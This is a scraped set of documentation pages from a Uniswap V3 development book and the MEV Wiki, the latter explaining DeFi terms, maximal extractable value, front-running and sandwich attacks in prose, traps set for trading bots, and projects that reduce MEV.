and important applications, which serves as a pillar of todays decentralized finances Uniswap V3 ! This book will guide you through the development of a decentralized application, including: smart-contract development (in Solidity ); contracts testing and deployment (using Forge and Anvil from Foundry ); design and mathematics of a decentralized exchange; development of a front-end application for the exchange ( React and MetaMask ). This book is not for complete beginners # I expect you to be an experienced developer, who has ever programmed in any programming language. Itll also be helpful if you know the syntax of Solidity , the main programming language of this book. If not, its not a big problem: well learn a lot about Solidity and Ethereum Virtual Machine during our journey. However, this book is for blockchain beginners # If you only heard about blockchains and were interested but havent had a chance to dive deeper, this book is for you! Yes, for you personally! Youll learn how to develop for blockchains (specifically, Ethereum), how blockchains work, how to program and deploy smart contracts, and how to run and test them on your computer. Alright, lets get started! Useful links # This book is available at: https://uniswapv3book.com/ This book is hosted on GitHub: https://github.com/Jeiwan/uniswapv3-book All source codes are hosted in a separate repo: https://github.com/Jeiwan/uniswapv3-code If you think you can help Uniswap, they have a grants program . If youre interested in DeFi and blockchains, follow me on Twitter . Questions? # Each milestone has its own section in the GitHub Discussions . Dont hesitate to ask questions about anything thats not clear in the book! Where to start for a complete beginner? # This book will be easy for those who know something about constant-function market makers and Uniswap. If youre a complete beginner in decentralized exchanges, heres how Id recommend starting: Read my Uniswap V1 series. It covers the very basics of Uniswap, and the code is much more simpler. If you have some experience with Solidity, skip the code since its very basic and Uniswap V2 does it better. Programming DeFi: Uniswap. Part 1 Programming DeFi: Uniswap. Part 2 Programming DeFi: Uniswap. Part 3 Read my Uniswap V2 series. I dont go too deep into the math and underlying concepts here since theyre covered in the V1 series, but the code of V2 is really worth getting familiar withitll hopefully teach you a different way of thinking about smart contracts programming (its not how we usually write programs). Programming DeFi: Uniswap V2. Part 1 Programming DeFi: Uniswap V2. Part 2 Programming DeFi: Uniswap V2. Part 3 Programming DeFi: Uniswap V2. Part 4 If math is an issue, consider going through Algebra 1 and Algebra 2 courses on Khan Academy. The math of Uniswap is not hard, but it requires the skill of basic algebraic manipulations. Uniswap Grants Program # To write this book, I received a grant from Uniswap Foundation . Without the grant, I wouldnt probably have had enough motivation and patience to dig Uniswap into its deepest depths and to finish the book. The grant is also the main reason why the book is open-source and free for anyone. You can learn more about Uniswap Grants Program (and maybe apply!). Uniswap V3 Development Book This book is not for complete beginners However, this book is for blockchain beginners Useful links Questions? Where to start for a complete beginner? Uniswap Grants Program", "labels": ["Documentation"]}, {"title": "", "html_url": "https://uniswapv3book.com/docs/introduction/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 0. Introduction", "labels": ["Documentation"]}, {"title": "", "html_url": "https://uniswapv3book.com/docs/milestone_1/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 1. First Swap", "labels": ["Documentation"]}, {"title": "", "html_url": "https://uniswapv3book.com/docs/milestone_2/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 2. Second Swap", "labels": ["Documentation"]}, {"title": "", "html_url": "https://uniswapv3book.com/docs/milestone_3/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 3. Cross-tick Swaps", "labels": ["Documentation"]}, {"title": "", "html_url": "https://uniswapv3book.com/docs/milestone_4/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 4. Multi-pool Swaps", "labels": ["Documentation"]}, {"title": "", "html_url": "https://uniswapv3book.com/docs/milestone_5/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 5. Fees and Price Oracle", "labels": ["Documentation"]}, {"title": "", "html_url": "https://uniswapv3book.com/docs/milestone_6/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 6: NFT positions", "labels": ["Documentation"]}, {"title": "", "html_url": "https://uniswapv3book.com/tags/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Tags Categories Tags Categories Tags", "labels": ["Documentation"]}, {"title": "Introduction", "html_url": "https://www.mev.wiki/", "body": "Introduction Welcome to the MEV Wiki. Introduction This is a public resource for learning about MEV (Maximal Extractable Value). We cover a range of topics including the key concepts, research on this the topic, different approaches to tackling this issue by various projects out there. Find any errors or wants to share your opinions? See how you can contribute here . What is MEV? Maximal (formerly \"miner\" in the context of Proof of Work) extractable value (MEV) refers to the maximum value that can be extracted from block production in excess of the standard block reward and gas fees by censoring and/or changing the order of transactions in a block. When someone sends a transaction in the blockchain, there is a delay between the time when the transaction is broadcasted to the network and when it is actually mined into a block. During this period, transactions sit in a pending transaction pool called the mempool where contents are visible to everyone. Arbitrageurs and miners can monitor the mempool and find opportunities to maximize their own profits e.g. by frontrunning transactions. If a front-runner is a miner, they can also reorder or even censor transactions. MEV income can also be shared with non miners & traders who participate in some profit sharing schemes within the category of FaaS/MEVA . Why does this matter ? MEV can harm users MEV is an invisible tax that miners can collect from users. MEV can destabilize Ethereum If block rewards are small enough compared to MEV, it can be rational for miners to destabilize consensus by reordering or censoring transactions. Just how bad is the problem? You can use the Flashbots Dashboard to track Extracted MEV to better assess this worsening trend realtime. Snapshot of Extracted MEV on 28 Sep 2021 from Flashbots It is estimated that more than $727M of MEV has been extracted since 1st January 2020. Snapshot of Extracted MEV Split on 28 Sep 2021 from Flashbots The majority of extracted MEV tend to be from Arbitrage opportunities on various AMMs , with a large percentage of income going to searchers, bots & participants in profit sharing MEV infrastructures (eg. Flashbot's MEV-GETH) Another useful tracker for gas consumption of back-running bots: Dune Analytics provides very detailed statistics on this worsening MEV situation. Link: According to https://research.paradigm.xyz/MEV Next Resource List Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Attack Examples", "html_url": "https://www.mev.wiki/attack-examples", "body": "Attack Examples Some example of attacks. Front-running Sandwich attack Back-running Liquidations Time bandit attack Uncle bandit attack Previous Transaction Ordering Next Front-running Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Attempts to trick the bots", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots", "body": "Attempts to trick the bots What are the ways some have come up with to trick bots? Salmonella Kattana Other attempts Previous Uncle bandit attack Next Salmonella Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Contributions", "html_url": "https://www.mev.wiki/contributions", "body": "Contributions BUIDL with MEV Wiki If you would like to contribute to this Wiki on MEV knowledge, please click the \"Edit on Github\" button on any page. Then create a Github pull request to suggest your changes. This wiki is maintained & sponsored by Automata Network . If you would like to become a contributor, please join Automata Discord Server . Previous Miscellaneous Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Miscellaneous", "html_url": "https://www.mev.wiki/miscellaneous", "body": "Miscellaneous What Happens when Ethereum moves to Proof-of-Stake? The move from PoW to PoS consensus means the Ethereum network becomes secured by a set validators, who stake their ETH and vote on consensus, as opposed to miners who run mining equipment to solve for the proof of work. This change of consensus is set to happen likely some time in 2021. Some have suggested that this means Miner Extractable Value will become Validator Extractable Value. This is an ongoing discussion and you can follow this here: Link: https://hackmd.io/@flashbots/ryuH4gn7d From Paradigm's piece \"On Staking Pools and Staking Derivatives\" - Staking pools and their staking derivatives are subject to similar market realities as MEV extraction, in the sense that their existence is inevitable. Institutional staking pools (e.g. exchanges) may have social and reputational constraints that prevent them from extracting certain forms of MEV. This allows smaller staking firms and decentralized pools without these constraints to provide higher returns for their stakers. This could turn the decentralization premium for using a decentralized staking pool into a decentralization discount. Link: https://research.paradigm.xyz/staking Other Academic Papers Tesseract Tesseract proposes a front-running resistant exchange relying on Intel SGX as a trusted execution environment. Link: https://eprint.iacr.org/2017/1153.pdf Calypso Enables a blockchain to hold and manage secrets on-chain with the convenient property that it is able to protect against front-running. Link: https://eprint.iacr.org/2018/209.pdf Previous B.Protocol Next Contributions Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Resource List", "html_url": "https://www.mev.wiki/resource-list", "body": "Resource List Links Name Type What Is Miner-Extractable Value (MEV)? Article Miners, Front-Running-as-a-Service Is Theft Article MEV and Me Article Ethereum is a Dark Forest Article Escaping the Dark Forest Article Ethereum Blockspace: Who Gets What and Why Article The fastest draw on the Blockchain: Ethereum Backrunning Article Security of Interoperability Presentation Gas Wars: Understanding Ethereum's Mempool & Miner Extractable Value Podcast Smart Contract Security - Incentives Beyond the Launch by Phil Daian (Devcon4) Video Enter the Dark Forest: the terrifying world of MEV and Flash bots Video Frontrunning in Decentralized Exchanges, Miner Extractable Value, and Consensus Instability Video How To Get Front-Run on Ethereum mainnet Video Flash Boys 2.0: Frontrunning, Transaction Reordering, and Consensus Instability in Decentralized Exchanges Research Paper Quantifying Blockchain Extractable Value: How dark is the forest? Research Paper High-Frequency Trading on Decentralized On-Chain Exchanges Research Paper Frontrunner Jones and the Raiders of the Dark Forest: An Empirical Study of Frontrunning on the Ethereum Blockchain Research Paper Previous Introduction Next Terms and Concepts Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Solutions", "html_url": "https://www.mev.wiki/solutions", "body": "Solutions Different approaches to tackling the MEV problem There are largely 2 schools of thought when it comes to approaching the MEV problem 1. Offense - MEV is here to stay so let's find a way to extract and democratize it. 2. Defense - MEV is bad so let's try to prevent it. Projects like Automata Network are in the Defense camp where the solution Conveyor ingests transactions and outputs transactions in a determined order. This creates a front-running-free zone that removes the chaos of transaction reordering. To further explain, we have put different approaches into 3 categories: Front-running as a Service (FaaS) or MEV Auctions (MEVA) MEV Minimization Other solutions Previous Other attempts Next Front-running as a Service (FaaS) or MEV Auctions (MEVA) Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Terms and Concepts", "html_url": "https://www.mev.wiki/terms-and-concepts", "body": "Terms and Concepts Exploring the main concepts involving MEV. DeFi Automated Market Maker Arbitrage Lending Platforms Slippage Liquidations Priority Gas Auctions Transaction Ordering Previous Resource List Next DeFi Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Back-running", "html_url": "https://www.mev.wiki/attack-examples/back-running", "body": "Back-running What is back-running? Back-running occurs when a transaction sender wishes to have their transaction ordered immediately after some unconfirmed \"target transaction\". Example: A back-running bot that back-runs new token listings. Bot monitors the Ethereum mempool for new pairs being created on Uniswap. If it finds a new pair the bot places a buy transaction immediately behind the initial liquidity. The bot swoops in and buys as many tokens as possible (but not all of them as there needs to be an opportunity for others to buy tokens as well).The bot then waits for the price to go up as other traders buy the token from Uniswap and proceeds to sell back the tokens at a higher price. The key in this strategy is to be the first to buy tokens, but only after the token has been launched . In order to maximise their chances of being mined immediately after their target, a typical backrunner will send many identical transactions, with gas price identical to that of the target transaction, sometimes from different accounts. 1. https://amanusk.medium.com/the-fastest-draw-on-the-blockchain-bzrx-example-6bd19fabdbe1 Previous Sandwich attack Next Liquidations Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Front-running", "html_url": "https://www.mev.wiki/attack-examples/front-running", "body": "Front-running What is front-running? Front-running is the process by which an adversary observes transactions on the network layer and then acts upon this information by, for instance, issuing a competing transaction, with the hope that this transaction is mined before a victim transaction e.g. Transaction A is broadcasted with a higher gas price than an already pending transaction B so that A gets mined before B. Previous Attack Examples Next Sandwich attack Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Liquidations", "html_url": "https://www.mev.wiki/attack-examples/liquidations", "body": "Liquidations How are liquidations exploited? Back-running strategies also apply to liquidations whereby a transaction sender wishes to be the first to liquidate a loan right after a price oracle update (which will allow liquidation to be triggered). Fixed spread liquidation used by Compound, Aave, and dYdX allows a liquidator to purchase collateral at a fixed discount when repaying debt. Strategy 1 Strategy 2 A detects a liquidation opportunity at block B (i.e., after the execution of B). A then issues a liquidation transaction T, which is expected to be mined in the next block B +1. A attempts to destructively front-run other competing liquidators by setting high transaction fees for his liquidation transaction T. A observes a transaction T, which will create a liquidation opportunity (e.g., an oracle price update transaction which will render a collateralized debt liquidatable). A then back-runs T with a liquidation transaction TA to avoid the transaction fee bidding competition. The auction liquidation allows a liquidator to start an auction that lasts for a pre-configured period (e.g., 6 hours). Competing liquidators can engage and bid on the collateral price. Previous Back-running Next Time bandit attack Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Sandwich attack", "html_url": "https://www.mev.wiki/attack-examples/sandwich-attack", "body": "Sandwich attack What is a sandwich attack? Alice wants to buy a Token A on a Decentralised Exchange (DEX) that uses an automated market maker (AMM) model. An adversary which sees Alices transaction can create two of its own transactions which it inserts before and after Alices transaction (sandwiching it). The adversarys first transaction buys Token A, which pushes up the price for Alices transaction, and then the third transaction is the adversarys transaction to sell Token A (now at a higher price) at a profit. Previous Front-running Next Back-running Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Time bandit attack", "html_url": "https://www.mev.wiki/attack-examples/time-bandit-attack", "body": "Time bandit attack What is a time bandit attack? Time-bandit attacks are attacks where miners rewrite blockchain history to steal funds allocated by smart contracts in the past. If block rewards are small enough compared to MEV, it can be rational for miners to destabilize consensus. Imagine there are two miners, Sam and Dan, who are paid a $100 reward for each block they find. Sam has found 3 blocks, the first of which contained a $10,000 arbitrage opportunity. Now Dan has a choice: he can either mine on top of Sams 3 blocks, or he can attempt to re-mine the first block in order to take the Uniswap arbitrage for himself. The $10,000 is much more lucrative than the $100 block reward, and Dan is more rational than honest, so he decides to re-mine the first block. While Dans at it, since the current longest chain is height 3, he also re-mines the second and third blocks (and captures any MEV that was in those, too). After the re-organization, Dan owns the longest chain and he and Sam can progress from the third block. Previous Liquidations Next Uncle bandit attack Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Uncle bandit attack", "html_url": "https://www.mev.wiki/attack-examples/uncle-bandit-attack", "body": "Uncle bandit attack What is a uncle bandit attack? Bundles are groups of transactions Flashbots users submit. Those transactions must be included in the order submitted, and either the whole bundle is included, or nothing is. A bundle should never be split up. Robert Miller found that for a specific bundle, only the \"Buy\" part of a sandwich bundle submitted had landed on-chain, and right after that Buy someone else had inserted a 7 gas transaction that arbitraged it. How? In Ethereum occasionally two blocks are mined at roughly the same time, and only one block can be added to the chain. The other gets \"uncled\" or orphaned. Anyone can access transactions in an uncled block and some of the transactions may not have ended up in the non-uncled block. In a way some transactions end up in a sort of mempool like state: they are now public as a part of the uncled block and perhaps still valid too. A Sandwicher's bundle was included in an uncled block. An attacker saw this, grabbed only the Buy part of the Sandwich, threw away the rest, and added an arbitrage after. The attacker then submitted that as a bundle, which was then mined. Instead of seeing something late in time and rewinding it (time-bandit attack), the uncle bandit attack is when an attacker sees something in an uncle and brings it forward. This also shows that attacks extend beyond the mempool and into uncled blocks as well. https://twitter.com/bertcmiller/status/1382673587715342339?s=20 Previous Time bandit attack Next Attempts to trick the bots Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Kattana", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/kattana", "body": "Kattana What is Kattana? The Kattana team included a trap for front-running bots during their token listing. There is a line in the code that disallows the front-runner from selling all tokens. So a front-runner paid 68 ETH to the miner and ended up with tokens he wasn't able to sell. Link: https://twitter.com/SiegeRhino2/status/1381035640989626369?s=20 Previous Salmonella Next Other attempts Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Other attempts", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/other-attempts-to-trick-the-bot", "body": "Other attempts What are the other attempts to trick the bot? Link: https://twitter.com/bertcmiller/status/1381296074086830091?s=20 Background Instead of users paying transaction fees via gas prices, Flashbots users pay fees via a smart contract call which transfers ETH to a miner. Miners receive bundles of transaction from users and include the bundle that pays them the most. Users love this because they only pay for transactions that are included and they can determine the fee that they are going to pay. Sandwich bots watch the mempool for users buying on DEXes and sandwich them: running the price up before the victim buys and dumping after for a profit. Those 3 txs (buy, victim transaction, sell) make up a bundle. Note the Sandwich sell transaction contains the smart contract payment to the miner. It's important that payment goes to the miner on the sell transaction! That should only happen after the bot has secured profit from selling the tokens bought in their front-run. If that sell fails then there is no payment to the miner, and thus their bundle shouldn't be included To be even more secure, bots will simulate their transactions on local infrastructure. Bots won't send transactions unless the simulation goes well. Paying transaction fees only on the sell transaction of a sandwich should defend against this. No profit, no payment. Simulation vs Reality Some really smart people found weaknesses among all of these defenses. The first defense was that simulation was done with an ERC20 transfer function that checked to see if the block was a mined by Flashbots' miners, and if so it transfers way less out. Local simulations look fine but do not work in production. The second defense - Payment only on a sell transaction Again: Sandwich bots make miner payment conditional on profit. That was broken by making the ERC20 token pay the miner. Thus even with the Sandwich bot sell failing, the miner would still get paid! Here's what actually happened: Sandwich bot gets baited and buys 100 ETH of the poisonous token. Poisonous token owner's bait triggers custom transfer function, which pays 0.1 ETH to the miner Sandwich bot's sell doesn't work because of the poisonous token. As the sandwich bot submitted these three transactions in a bundle all three were included: the successful buy, the bait, and the failed sell. The poisonous ERC20's payment via the custom transfer was what incentivized a miner to include it! It is estimated that the first person to do this made about 100 ETH. You can see the poisoned ERC20 Uniswap transactions here . From Victim to Predator One of their victims was one the most successful Flashbots bot operators, and they immediately sprung into action. In a short period of time the victim turned into an apex predator. They launched a similar but slightly different ERC20 (YOLOchain), and ended up successfully baiting many more sandwichers. They made 300 ETH doing so! Previous Kattana Next Solutions Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Salmonella", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/salmonella", "body": "Salmonella What is Salmonella? Salmonella intentionally exploits the generalised nature of front-running setups. The goal of sandwich trading is to exploit the slippage of unintended victims, so this strategy turns the tables on the exploiters. Its a regular ERC20 token, which behaves exactly like any other ERC20 token in normal use-cases. However, it has some special logic to detect when anyone other than the specified owner is transacting it, and in these situations it only returns 10% of the specified amount - despite emitting event logs which match a trade of the full amount. Link: https://github.com/Defi-Cartel/salmonella Previous Attempts to trick the bots Next Kattana Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Front-running as a Service (FaaS) or MEV Auctions (MEVA)", "html_url": "https://www.mev.wiki/solutions/faas-or-meva", "body": "Front-running as a Service (FaaS) or MEV Auctions (MEVA) MEVA and FaaS solutions. In a FaaS or MEVA system, MEV is extracted in a variety of ways such as miners auctioning off the right to front-run users. 'Centralizing MEV extraction is good because it quarantines a revenue stream that could otherwise drive centralization in other sectors.' Vitalik Buterin 'In this article, Im going to go deep into my personal arguments for why extracting MEV in cryptocurrencies isnt like theft, why it is a critical metric for network security in any distributed system secured by economic incentives (yes, including centralized ones), and what we should do about MEV in the next 3-5 years as a community.' Phil Daian, co-author of Flash Boys 2.0 See the various solutions: Private Transactions BackRunMe by bloXroute Flashbots mistX by alchemist KeeperDAO EDEN Network (ArcherSwap) Optimism MiningDAO BackBone Cabal Previous Solutions Next Private Transactions Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "MEV Minimization", "html_url": "https://www.mev.wiki/solutions/mev-minimization", "body": "MEV Minimization MEV minimization and prevention solutions. Here are various solutions in MEV minimization: Conveyor (Automata Network) SecretSwap (Secret Network) Fair sequencing service (Chainlink) Arbitrum (Offchain Labs) Vega protocol CowSwap Veedo (StarkWare) LibSubmarine Sikka Shutter Network Previous BackBone Cabal Next Conveyor (Automata Network) Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Other solutions", "html_url": "https://www.mev.wiki/solutions/others", "body": "Other solutions Other ways to tackle MEV. Here are the list of other solutions: B.Protocol Previous Shutter Network Next B.Protocol Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Arbitrage", "html_url": "https://www.mev.wiki/terms-and-concepts/arbitrage", "body": "Arbitrage What is arbitrage trading? Arbitrage is the simultaneous purchase and sale of the same asset in different markets in order to profit from differences in the asset's listed price. Previous Automated Market Maker Next Lending Platforms Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Automated Market Maker", "html_url": "https://www.mev.wiki/terms-and-concepts/automated-market-maker", "body": "Automated Market Maker What is an AMM? A type of Decentralised Exchange. Contrary to traditional limit order-book-based exchanges (which maintain a list of bids and asks for an asset pair), AMM exchanges maintain a pool of capital (a liquidity pool) with at least two assets. A smart contract governs the rules by which traders can purchase and sell assets from the liquidity pool. The most common AMM mechanism is a constant product AMM, where the product of an asset X and asset Y in a pool have to abide by a constant K. Examples of AMM Exchanges include Uniswap , Sushiswap , Balancer . Previous DeFi Next Arbitrage Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "DeFi", "html_url": "https://www.mev.wiki/terms-and-concepts/defi", "body": "DeFi What is DeFi? DeFi is a subset of finance-focused decentralized protocols that operate autonomously on blockchain-based smart contracts. The total value locked in DeFi amounts to >$50B USD . Link: https://defipulse.com/ Previous Terms and Concepts Next Automated Market Maker Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Lending Platforms", "html_url": "https://www.mev.wiki/terms-and-concepts/lending-platforms", "body": "Lending Platforms What is a decentralised lending platform? Debt is an essential tool in DeFi. As DeFi applications typically operate without Know Your Customer (KYC), the borrowers debt must be over-collateralized. Hence, a borrower must collateralize (lock) 150% of the value that the borrower wishes to lend out. The collateral acts as a security to the lender if the borrower doesnt pay back the debt. Examples of lending platforms include Aave and Compound . Previous Arbitrage Next Slippage Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Liquidations", "html_url": "https://www.mev.wiki/terms-and-concepts/liquidations", "body": "Liquidations What are liquidations in collaterized debt? In Lending Platforms, if the collateral value decreases and the collateralization ratio falls below 150%, the collateral can be freed up for liquidation. Liquidators can then purchase the collateral at a discount to repay the debt. Previous Slippage Next Priority Gas Auctions Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Priority Gas Auctions", "html_url": "https://www.mev.wiki/terms-and-concepts/priority-gas-auctions", "body": "Priority Gas Auctions What is a priority gas auction? As pure arbitrage opportunities offer unconditional revenue, bots often compete against each other by bidding up transaction fees (gas) in PGAs which drives up fees for other users. Previous Liquidations Next Transaction Ordering Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Slippage", "html_url": "https://www.mev.wiki/terms-and-concepts/slippage", "body": "Slippage What is price slippage? Slippage is defined as the move in the price of a security between the time you decided to transact in it and the time your order was in the market. When performing a trade on an AMM, the expected execution price may differ from the real execution price because the expected price depends on a past blockchain state, which may change between the transaction creation and its execution e.g., due to front-running transactions. Previous Lending Platforms Next Liquidations Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Transaction Ordering", "html_url": "https://www.mev.wiki/terms-and-concepts/transaction-ordering", "body": "Transaction Ordering What is transaction ordering? Blockchains typically prescribe specific rules for consensus, but there are only loose requirements for miners on how to order transactions within a block. Many attacks are centered around how miners order transactions within blocks. Previous Priority Gas Auctions Next Attack Examples Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "EDEN Network (ArcherSwap)", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/archerswap", "body": "EDEN Network (ArcherSwap) Eden Network (Previously ArcherSwap) Eden Network is a new DEX extension for Uniswap and Sushiswap that prevents frontrunning and offers traders zero slippage and zero cost cancellation swaps. This enables users to set slippage tolerance to 0%. Miners will only be paid if \"acceptance criteria\" are met, so any transaction that fails is not included on chain. One is for searchers to submit Flashbots-compatible bundles. The other is the Archer Relay Network (powers Archerswap) where users can submit private transactions and be protected from malicious MEV. Link: https://swap.archerdao.io/#/swap Previous KeeperDAO Next Optimism Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "BackBone Cabal", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/backbone-cabal", "body": "BackBone Cabal BackBone Cabal BackBone Cabal is a strategy that aims to extract MEV from SushiSwap. Profits are redistributed back to users who submitted trades in the first place in the form of eliminating their transaction cost (up to 90%). YCabal creates a virtualized mempool (i.e. a MEV-relay network) that aggregates transactions (batching). Users are able to opt in and send transactions to YCabal and in return for not having to pay for gas for their transaction, YCabal batch processes it and takes the arbitrage profit. Risk by inventory price risk is carried by a Vault, where Vault depositers are returned the profit the YCabal realizes. Links: Website: https://backbonecabal.com/ Knowledge Base: https://backbone-kb.netlify.app/ SushiSwap Proposal: https://forum.sushiswapclassic.org/t/proposal-ycabal-mev-strategy/3159 Previous MiningDAO Next MEV 